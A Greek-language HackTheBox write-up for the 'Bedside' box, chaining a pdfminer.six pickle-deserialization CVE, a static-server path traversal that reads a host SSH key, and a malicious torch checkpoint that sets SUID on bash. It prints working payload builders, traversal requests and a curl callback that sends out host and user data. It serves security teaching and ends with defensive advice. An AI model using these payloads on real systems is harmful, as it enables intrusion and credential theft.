Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Bedside

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Το Bedside είναι ένα μέτριο box Linux που λέει το ίδιο αστείο δύο φορές: το να εμπιστεύεσαι δεδομένα που δεν πρέπει. Μια "πύλη έρευνας" τρέχει pdfminer.six, φρεσκοπληγωμένη από το CVE-2025-64512 — ένα φτιαγμένο PDF μπορεί να δείξει το /Encoding μιας γραμματοσειράς σε ένα .pickle.gz ελεγχόμενο από τον επιτιθέμενο, και όταν η βιβλιοθήκη φορτώνει εκείνο το CMap κάνει pickle.load() σε αυτό μέχρι εκτέλεση κώδικα. Το να το ανεβάσεις δεν αρκεί· ένας background watcher τροφοδοτεί τον parser μόνο με πραγματικά *.pdf, οπότε το payload είναι χωρισμένο σε δύο — το κακόβουλο pickle συν ένα απλό trigger PDF που το αναφέρει. Αυτό προσγειώνει ένα shell μέσα σε container. Από εκεί ένας εσωτερικός image-viewer στη θύρα 3000 αποδεικνύεται ότι είναι ένας static file server με path traversal, που διαβάζει το κλειδί SSH του χρήστη developer κατευθείαν από τον host. Και το πιο περήφανο feature της κλινικής — ένας self-learning MONAI trainer που ο developer μπορεί να τρέξει σαν root — επαναφέρει checkpoints με torch.load(weights_only=False), που είναι pickle ξανά. Φύτεψε ένα checkpoint, τρέξε τον trainer, πάρε root. Ίδιο bug, δεύτερη δόση. Ολόκληρη η αλυσίδα οδηγείται από macOS — χωρίς reverse shell, μόνο request/response.
vhost fuzz → research → pdfminer CVE-2025-64512 → datawrangler (container) → :3000 path traversal → dev SSH key → sudo trainer torch.load → root

Αναγνώριση

Δύο θύρες, και το web root διαρρέει ένα hostname στον τίτλο του — το συνηθισμένο σημάδι να κάνεις fuzz virtual hosts αντί για paths.

nmap
$ nmap -Pn -sVC -p22,80 <IP> 22/tcp open ssh OpenSSH 10.0p2 Debian 80/tcp open http Apache httpd 2.4.68 (Debian) # title: Bedside Clinic - bedside.htb

Και οι δύο εκδόσεις είναι τρέχουσες — κανένα CVE επιπέδου έκδοσης να ρίξω. Αυτό είναι το σημάδι: το bug δεν θα είναι σε αυτό πάνω στο οποίο τρέχει η κλινική, θα είναι σε αυτό που η κλινική έχτισε. Η μπροστινή σελίδα είναι ένα στατικό φυλλάδιο χωρίς τίποτα που να δέχεται input, οπότε έκανα fuzz vhosts, φιλτράροντας το redirect που σερβίρει ο κύριος host για ονόματα που δεν κάνουν resolve:

ffuf — vhost fuzzing
$ ffuf -u http://bedside.htb -H "Host: FUZZ.bedside.htb" \ -w subdomains.txt -fc 301 research [Status: 200, Size: 3152]

Ένα hit: research.bedside.htb. Για να κρατήσω τα πάντα scriptable από macOS δεν άγγιξα ποτέ το /etc/hosts — κάθε request απλά κουβαλά το vhost με το χέρι:

reach the vhost without /etc/hosts
$ curl -s -i -H "Host: research.bedside.htb" http://<IP>/ | head -6 HTTP/1.1 200 OK Server: Apache/2.4.68 (Debian) X-Powered-By: pdfminer.six Content-Type: text/html; charset=UTF-8

Εκείνη η κεφαλίδα X-Powered-By είναι χειροβαλμένη — κανένα framework δεν την γράφει — και ονομάζει ολόκληρο το παιχνίδι: pdfminer.six. Η ίδια η πύλη είναι μια φόρμα upload αρχείου ("ανέβασε ακτινογραφίες, CT scans, ερευνητικά έγγραφα για να τροφοδοτήσεις το training μοντέλου AI της κλινικής"), με μια ειδοποίηση που λιστάρει αποδεκτά formats και δύο γραμμές που έχουν περισσότερη σημασία απ' όσο φαίνονται: "Οι συλλογές μπορούν να ανεβούν σαν archives" και "Ορισμένα formats αρχείων μπορεί να μετατραπούν σε τυποποιημένα formats." Ένα upload που δέχεται archives και μετατρέπει αρχεία σιωπηλά είναι ένα upload που κάνει parse πολλά στο παρασκήνιο. Το parsing είναι όπου σπάνε τα πράγματα.

Διαβάζοντας τους κανόνες που επέβαλε ο server

Πριν αγγίξω το exploit έκανα το upload να μου πει τους δικούς του κανόνες. Το να στείλω ένα αρχείο που απορρίπτει το whitelist διαρρέει δύο χρήσιμα πράγματα — το πραγματικό αποδεκτό σύνολο, και το απόλυτο path αποθήκευσης:

provoke the errors
$ echo test | curl -s -H "Host: research.bedside.htb" -F "uploadFile=@-;filename=x" http://<IP>/ Invalid file type. Allowed: jpeg, jpg, png, bmp, tiff, dcm, pdf, gz, zip $ printf 'test\n' > x.gz; curl -s -H "Host: research.bedside.htb" -F "uploadFile=@x.gz" http://<IP>/ MIME type mismatch. Unable to upload file to destination /var/www/research.bedside.htb/uploads

Δύο γεγονότα προκύπτουν. Πρώτο, το whitelist διαφήμιζε επτά formats στο κοινό αλλά το backend πραγματικά δέχεται και gz και zip — τα undocumented "archives." Δεύτερο, το φίλτρο δεν εμπιστεύεται την επέκταση: ένα .gz που δεν είναι πραγματικό gzip stream απορρίπτεται με βάση το περιεχόμενο, και το παράπονο διαρρέει το /var/www/research.bedside.htb/uploads. Εκείνο το path είναι το κομμάτι που έλειπε για το exploit που επρόκειτο να χτίσω, και μου δόθηκε σε ένα μήνυμα error.

(Το κόλπο archive-symlink — πακετάρισε ένα symlink στο /etc/passwd, άσε τον server να το κάνει extract, ζήτησέ το πίσω — δεν πάει πουθενά εδώ: ο server αποθηκεύει archives ολόκληρα και ποτέ δεν τα κάνει extract. Άξιζε να δοκιμαστεί, αδιέξοδο.)

CVE-2025-64512 — μια γραμματοσειρά που φορτώνει ένα pickle

Το pdfminer.six φορτώνει resources CMap (character-map) με όνομα. Εσωτερικά, το CMapDB αντιστοιχίζει ένα όνομα σε ένα αρχείο και κάνει περίπου pickle.loads(gzip.open(name + ".pickle.gz").read()). Η ευπάθεια: το /Encoding μιας γραμματοσειράς Type0 μπορεί να ονομάσει εκείνο το CMap, και το όνομα ελέγχεται από τον επιτιθέμενο — συμπεριλαμβανομένων απόλυτων paths. Οπότε ένα PDF που αναφέρει /Encoding /…uploads#2Fsh (όπου το #2F είναι ένα PDF-escaped /) κάνει το pdfminer να φορτώσει και να κάνει unpickle το /var/www/research.bedside.htb/uploads/sh.pickle.gz. Ένα pickle με ένα __reduce__ που επιστρέφει (os.system, (cmd,)) είναι εκτέλεση κώδικα τη στιγμή που εκείνη η γραμματοσειρά instantiated.

Κάθε προαπαιτούμενο είναι ήδη στο χέρι: το whitelist μου επιτρέπει να ανεβάσω ένα πραγματικό .gz, και το error MIME μου έδωσε τον ακριβή φάκελο που πρέπει να ονομάσει το PDF. Αλλά η πρώτη προσπάθειά μου απέτυχε, και η αποτυχία είναι όλο το μάθημα αυτού του box.

Γιατί ένα αρχείο δεν ήταν αρκετό

Η προφανής κίνηση είναι το polyglot του luigigubello: ένα μόνο αρχείο που είναι και ένα έγκυρο gzip που κουβαλά το pickle και ένα έγκυρο self-referencing PDF. Το ανέβασα, έστησα έναν listener, και… τίποτα. Το CVE πυροδοτείται μόνο όταν κάτι πραγματικά κάνει parse το PDF, και το να ανεβάσεις απλά ένα αρχείο δεν το τροφοδοτεί στο pdfminer. Κάποιο background job έπρεπε να το πιάσει — και αν εκείνο το job αγγίζει μόνο πραγματικά PDFs, ένα αρχείο με όνομα .pickle.gz κάθεται αγνοημένο για πάντα. Χρειαζόταν να αλλάξω το σχήμα του payload πριν καν δω τον κώδικα που τελικά θα το επιβεβαίωνε.

Οπότε χώρισα το payload σε δύο. Το κακόβουλο pickle κρατά το όνομα .pickle.gz του ώστε το pdfminer να το φορτώσει σαν CMap. Ένα ξεχωριστό, κοινότυπα-φαινόμενο trigger.pdf δείχνει το /Encoding του σε εκείνο το pickle. Το background job σαρώνει για πραγματικά PDFs, βρίσκει το trigger.pdf, το κάνει parse, ακολουθεί την αναφορά CMap στο pickle μου, και εκρήγνυται. Ορίστε ο builder — το __reduce__ είναι το payload, το PDF είναι μια ελάχιστη γραμματοσειρά Type0 της οποίας το encoding είναι το απόλυτο path του pickle με τις κάθετες escaped:

build_and_send.py — the two-file payload
#!/usr/bin/env python3 import gzip, pickle, os, sys, subprocess IP, HOST = "<IP>", "research.bedside.htb" UP = "/var/www/research.bedside.htb/uploads" NAME = "sh" # pickle stored as <NAME>.pickle.gz CMD = sys.argv[1] class RCE: def __reduce__(self): return (os.system, (CMD,)) # 1) malicious pickle, gzip-compressed -> passes the "is it a real gzip" check open("sh.pickle.gz","wb").write(gzip.compress(pickle.dumps(RCE()))) # 2) trigger.pdf: a Type0 font whose /Encoding names the pickle (/ -> #2F) enc = (UP + "/" + NAME).replace("/", "#2F") PDF = ("%PDF-1.4\n" "1 0 obj<< /Type /Catalog /Pages 2 0 R >>endobj\n" "2 0 obj<< /Type /Pages /Kids [3 0 R] /Count 1 >>endobj\n" "3 0 obj<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] " "/Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>endobj\n" "4 0 obj<< /Length 20 >>stream\nBT /F1 12 Tf ET\nendstream endobj\n" "5 0 obj<< /Type /Font /Subtype /Type0 /BaseFont /F /Encoding /__ENC__ " "/DescendantFonts [6 0 R] >>endobj\n" "6 0 obj<< /Type /Font /Subtype /CIDFontType2 /BaseFont /F /FontDescriptor 7 0 R >>endobj\n" "7 0 obj<< /Type /FontDescriptor /FontName /F /Flags 4 >>endobj\n" "trailer<< /Size 8 /Root 1 0 R >>\n%%EOF\n").replace("__ENC__", enc) open("trigger.pdf","wb").write(PDF.encode()) # upload both (retry until the portal returns "successfully") def up(path, ctype): for _ in range(6): r = subprocess.run(["curl","-s","-H",f"Host: {HOST}", "-F",f"uploadFile=@{path};type={ctype}", f"http://{IP}/"], capture_output=True, text=True) if "successfully" in r.stdout: return up("sh.pickle.gz","application/gzip") up("trigger.pdf","application/pdf")

Foothold — ο watcher παίρνει το δόλωμα

Ένα ζωντανό reverse shell που προσγειώνεται στο terminal μου είναι το πιο θορυβώδες πράγμα που μπορείς να κάνεις, οπότε δεν χρησιμοποίησα ποτέ ένα. Αντ' αυτού απέδειξα εκτέλεση out-of-band: κάνε το payload να κάνει curl ένα marker πίσω σε έναν listener που ελέγχω. Ο στόχος τραβάει — request/response, τίποτα inbound.

prove RCE with a callback
$ python3 -m http.server 8000 & # listener on my VPN ip $ python3 build_and_send.py 'curl -s http://<VPN>:8000/HIT-$(hostname)-$(id -un)' # ~30s later, in the http.server log: <IP> - - "GET /HIT-data-wrangler-datawrangler HTTP/1.1"

Εκτέλεση κώδικα σαν datawrangler σε έναν host που αυτοαποκαλείται data-wrangler. Η καθυστέρηση ~30 δευτερολέπτων είναι η ομολογία: το upload μου δεν πυροδότησε τίποτα — ένα προγραμματισμένο job ξύπνησε, βρήκε ένα νέο PDF, και το επεξεργάστηκε. (Ένας πρώιμος marker γραμμένος κατευθείαν στο web root είχε αποτύχει σιωπηλά: ο watcher τρέχει σαν datawrangler και δεν μπορεί να γράψει τον φάκελο uploads/ που ανήκει στον www-data. Το callback παρακάμπτει εντελώς τα δικαιώματα αρχείων.)

Container recon, exfiltrated με τον ίδιο τρόπο — κάνε pipe το output εντολής σε ένα POST που ο listener μου αποθηκεύει στον δίσκο:

who am I, and what's shared
uid=988(datawrangler) gid=1001(dataops) groups=1001(dataops) $ cat /app/pdf_watcher.py # the job that ran my payload UPLOAD_DIR = "/var/www/research.bedside.htb/uploads" OUTPUT_DIR = "/datastore/staging" while True: for pdf in glob.glob(UPLOAD_DIR + "/*.pdf"): # only real PDFs, ever subprocess.run(["pdf2txt.py", pdf, "-o", out]) # pdf2txt.py == pdfminer time.sleep(30)

Αυτό επιβεβαιώνει όλη τη θεωρία: ο βρόχος κάνει glob *.pdf κάθε 30 δευτερόλεπτα και τροφοδοτεί το καθένα στο pdf2txt.py — pdfminer κατευθείαν μέσα στο CVE. Εξηγεί επίσης έναν τοίχο από πριν: το process_pdf() απορρίπτει ρητά symlinks και μη-κανονικά αρχεία, οπότε η ιδέα archive-symlink δεν επρόκειτο ποτέ να δουλέψει. Ο developer σκέφτηκε εκείνη τη συγκεκριμένη επίθεση. Δεν σκέφτηκε ένα PDF που δείχνει σε ένα pickle. Το output προσγειώνεται στο /datastore/staging — έναν φάκελο έξω από το /app, και ο datawrangler είναι στην ομάδα dataops που τον κατέχει. Το κοινόχρηστο storage ανάμεσα σε containers είναι ακριβώς το είδος της ραφής που αξίζει να ανοίξεις.

Πλάγια κίνηση — το λάθος chart

Το container είναι γυμνό αλλά έχει curl και python3. Το να διαβάσεις το /proc/net/route δίνει το gateway Docker (172.17.0.1)· μια μικροσκοπική σάρωση socket από μέσα βρίσκει μια θύρα που το εξωτερικό nmap δεν είδε ποτέ γιατί ακούει μόνο στο bridge: 3000. Σερβίρει "Bedside Clinic - Image Viewer," μια εφαρμογή React για slices MRI — το είδος πράγματος που κρύβει ένα path traversal στο API του για ανάκτηση slice.

Μόνο που το API είναι ψεύτικο. Το ίδιο του το JavaScript δημιουργεί slices με Math.random() — "// For demo". Δεν υπάρχει /api/slice, καμία παράμετρος αρχείου, τίποτα server-side να επιτεθείς μέσα από την εφαρμογή. Παραλίγο να βυθίσω μια ώρα σε ένα endpoint που δεν υπήρξε ποτέ. Το πραγματικό ελάττωμα είναι ένα layer παρακάτω: η εφαρμογή είναι διακόσμηση, αλλά αυτό που τη σερβίρει είναι ακόμα ένας πραγματικός static file server, και οι static servers έχουν το δικό τους κλασικό bug. Στόχευσε το traversal στο root του server αντί να μαντεύεις routes εφαρμογής — με --path-as-is ώστε το curl να μην συμπτύσσει βοηθητικά τα ../ πριν στείλει:

path traversal off the static server (run in-container)
$ curl -s --path-as-is 'http://172.17.0.1:3000/../../../../etc/passwd' | tail -4 developer:x:1000:1000:developer,,,:/home/developer:/bin/bash datawrangler:x:988:1001::/home/datawrangler:/bin/sh _laurel:x:987:987::/var/log/laurel:/bin/false polkitd:x:986:986:User for polkitd:/:/usr/sbin/nologin

Αυτό δεν είναι το /etc/passwd του container — έχει developer, _laurel, polkitd, χρήστες που το minimal container δεν έχει. Η υπηρεσία στη θύρα 3000 διαβάζει αρχεία από το filesystem του host, και το traversal διαβάζει οποιοδήποτε από αυτά. Μια καταχώρηση /etc/passwd είναι μια συστατική, όχι τρόπος εισόδου — αλλά αυθαίρετη ανάγνωση αρχείου host σημαίνει ότι μπορώ απλά να ζητήσω το κλειδί SSH του developer και το flag χρήστη. Το κλειδί δεν είναι στο id_ed25519· μια γρήγορη σάρωση υποψήφιων ονομάτων το βρίσκει στο id_rsa:

steal the host SSH key + user.txt
$ B=../../../../home/developer; T=http://172.17.0.1:3000 for f in .ssh/id_ed25519 .ssh/id_rsa .ssh/id_ecdsa; do echo "== $f =="; curl -s --path-as-is "$T/$B/$f" | head -1 done == .ssh/id_ed25519 == Not Found == .ssh/id_rsa == -----BEGIN OPENSSH PRIVATE KEY----- == .ssh/id_ecdsa == Not Found $ curl -s --path-as-is "$T/$B/user.txt" 4d6ea9a8… # user.txt

Ένα unencrypted κλειδί ed25519 (αποθηκευμένο ως id_rsa), comment developer@bedside. Διόρθωσε τα perms του και περπάτησε κατευθείαν στον host, έξω από το container για πάντα:

onto the host as developer
$ chmod 600 dev_key; ssh -i dev_key developer@<IP> 'id; sudo -n -l' uid=1000(developer) gid=1000(developer) groups=1000(developer),100(users) User developer may run the following commands on bedside: (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py

Privilege escalation — η δεύτερη δόση

Μία εντολή, χωρίς password: ένα script training MONAI που τρέχει σαν root. Διαβάζοντάς το, η ευάλωτη γραμμή ξεχωρίζει αμέσως — συνεχίζει από το νεότερο checkpoint χρησιμοποιώντας το CheckpointLoader του MONAI, που καλεί torch.load(…, weights_only=False) από κάτω, και το torch.load κάνει deserialize με pickle. Η ίδια πληγή με το foothold, φορώντας διαφορετικό παλτό: τάισέ το με ένα κακόβουλο .pt και το __reduce__ του τρέχει σαν root.

/opt/trainer/bedside_trainer.py (excerpt)
latest_ckpt = find_latest_checkpoint(CHECKPOINT_DIR) # newest *.pt in /datastore/checkpoints if latest_ckpt: loader = CheckpointLoader(load_path=str(latest_ckpt), load_dict={"model": model, "optimizer": optimizer}) loader(engine) # -> torch.load(weights_only=False) -> pickle.load -> RCE

Το σχέδιο γράφεται μόνο του — φύτεψε ένα κακόβουλο checkpoint στο /datastore/checkpoints/, τρέξε τον trainer, πάρε root — αλλά το script έχει guards που μετατρέπουν ένα one-liner σε καβγά.

Guard 1 — η πύλη δεδομένων

Ο trainer δεν φτάνει ποτέ στον checkpoint loader εκτός αν έχει δεδομένα για να κάνει train. Σαρώνει το /datastore/processed/ για έγκυρες εικόνες και βγαίνει νωρίς αν είναι άδειο. Και ο developer δεν μπορεί να γράψει καθόλου το /datastore — είναι datawrangler:dataops, και ο developer δεν είναι στο dataops. Αλλά το shell του container μου είναι. Το κοινόχρηστο volume /datastore είναι η ραφή: ο datawrangler γράφει τα αρχεία, ο developer τραβάει τη σκανδάλη. Δύο shells, ένα exploit. Οπότε φυτεύω ένα έγκυρο PNG στο processed/ — με δεδομένα παρόντα, ο trainer παραλείπει εντελώς το promotion-from-staging και βαδίζει στον loader.

Guard 2 — ο έλεγχος format

Ένα ωμό pickle δεν κάνει τη δουλειά. Το torch.load περιμένει ένα πραγματικό torch archive: ένα ZIP που περιέχει archive/data.pkl (το pickled object graph) συν archive/version. Οπότε χτίζω ένα σωστά — ένα ZIP του οποίου το data.pkl είναι ένα payload σε σχήμα dict του οποίου το __reduce__ τρέχει chmod u+s /bin/bash. Δεν χρειάζεται torch σε καμία πλευρά· καθαρό zipfile + pickle σε macOS:

build_evil_pt.py — a valid torch checkpoint carrying pickle RCE
import pickle, os, zipfile class RCE: def __reduce__(self): return (os.system, ("chmod u+s /bin/bash",)) payload = pickle.dumps({"model": RCE()}, protocol=2) with zipfile.ZipFile("evil.pt","w",zipfile.ZIP_STORED) as z: z.writestr("archive/data.pkl", payload) z.writestr("archive/version", "3\n") # magic bytes 50 4b 03 04 == PK == valid ZIP == valid torch archive

Και τα δύο αρχεία φτάνουν στο box μέσω της πύλης — δεν χρειάζεται να φιλοξενήσω τίποτα. Το scan.png είναι ήδη επιτρεπτό· το evil.pt είναι ένα έγκυρο ZIP, οπότε το ανεβάζω μετονομασμένο σε evil.zip και περνά τον έλεγχο MIME. Μετά ένα μόνο payload pickle-RCE (πυροδοτημένο με τον ίδιο τρόπο δύο-αρχείων) τα αντιγράφει από το uploads/ στο /datastore σαν datawrangler, και ρίχνει έναν βρόχο cleanup ώστε το αδέσποτο output .txt του watcher να μην μπορεί ποτέ να σπάσει το pipeline:

stage payloads via the portal, plant from the container
$ cp evil.pt evil.zip $ curl -s -H "Host: research.bedside.htb" -F "uploadFile=@evil.zip;type=application/zip" http://<IP>/ $ curl -s -H "Host: research.bedside.htb" -F "uploadFile=@scan.png;type=image/png" http://<IP>/ # then, delivered as the pickle __reduce__ command (runs as datawrangler in the container): U=/var/www/research.bedside.htb/uploads cp $U/evil.zip /datastore/checkpoints/checkpoint_epoch_99.pt cp $U/scan.png /datastore/processed/scan.png setsid sh -c 'while true; do rm -f /datastore/staging/*.txt /datastore/processed/*.txt 2>/dev/null; \ cp $U/scan.png /datastore/processed/scan.png 2>/dev/null; sleep 0.3; done' &

Πυροδοτώντας το

Με ένα έγκυρο checkpoint στη θέση του και το pipeline κρατημένο καθαρό, τρέξε τον sudo trainer από το shell του developer. Το torch.load κάνει unpickle το checkpoint μου σαν root και το __reduce__ πυροδοτείται:

root
$ sudo -n /usr/bin/python3 /opt/trainer/bedside_trainer.py 2>&1 | tail -2 TypeError: Expected state_dict to be dict-like, got <class 'int'>. $ ls -la /bin/bash -rwsr-xr-x 1 root root 1298416 /bin/bash $ /bin/bash -p -c 'id; cat /root/root.txt' uid=1000(developer) euid=0(root) groups=1000(developer),100(users) 7e529abc… # root.txt

Εκείνο το TypeError μοιάζει με άλλη μία αποτυχία. Δεν είναι. Το os.system επιστρέφει έναν ακέραιο exit code, και ο loader του torch περίμενε ένα dict, οπότε πέταξε error στην τιμή επιστροφής — αλλά εκείνη η τιμή επιστροφής υπάρχει μόνο επειδή η εντολή έτρεξε ήδη. Η εξαίρεση πυροδοτείται μετά το payload, όχι αντί για αυτό. Μία γραμμή παρακάτω, τα bits s στο /bin/bash είναι ορισμένα, και το /bin/bash -p κρατά το euid=0. Root.

Όλη η αλυσίδα, μία οθόνη

recap
# 1. vhost → το research.bedside.htb τρέχει pdfminer.six (κεφαλίδα X-Powered-By) ffuf -u http://bedside.htb -H "Host: FUZZ.bedside.htb" -w subdomains.txt -fc 301 # 2. CVE-2025-64512: δύο αρχεία — κακόβουλο pickle + trigger PDF που το ονομάζει python3 build_and_send.py 'curl -s http://<VPN>:8000/HIT-$(id -un)' # RCE σαν datawrangler # 3. εσωτερικό :3000 static server path traversal → κλειδί SSH host + user.txt curl -s --path-as-is 'http://172.17.0.1:3000/../../../../home/developer/.ssh/id_rsa' # 4. SSH σαν developer· sudo τρέχει έναν trainer MONAI που κάνει torch.load() ένα checkpoint ssh -i dev_key developer@<IP> # sudo -n -l → NOPASSWD bedside_trainer.py # 5. φύτεψε ένα κακόβουλο .pt (σαν datawrangler, μέσω κοινόχρηστου /datastore) → root python3 build_evil_pt.py # zip: archive/data.pkl __reduce__ = chmod u+s /bin/bash sudo -n /usr/bin/python3 /opt/trainer/bedside_trainer.py; /bin/bash -p -c 'cat /root/root.txt'

Μαθήματα

Το Bedside τρέχει πάνω σε ένα μόνο anti-pattern επαναλαμβανόμενο: το να κάνεις deserialize δεδομένα που δεν ελέγχεις. Το pdfminer το έκανε με pickle για να φορτώσει έναν χάρτη γραμματοσειράς· ο trainer MONAI το ξανάκανε με torch.load για να επαναφέρει ένα checkpoint. Κανένα από τα δύο δεν είναι εξωτικό — και τα δύο είναι ο default, βολικός τρόπος να κάνεις μια κανονική δουλειά, και και τα δύο δίνουν εκτέλεση κώδικα τη στιγμή που το input γίνεται εχθρικό. Αν πάρεις ένα πράγμα από αυτό το box, ας είναι ότι το pickle.loads, το torch.load(weights_only=False) και το yaml.load δεν είναι file readers. Είναι code executors που τυχαίνει να δέχονται αρχεία. Όρισε weights_only=True, χρησιμοποίησε safetensors, και κάνε validate πριν κάνεις deserialize.

Δύο flags, μία κλινική που εμπιστεύτηκε τα μηχανήματά της ακριβώς δύο φορές παραπάνω.

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗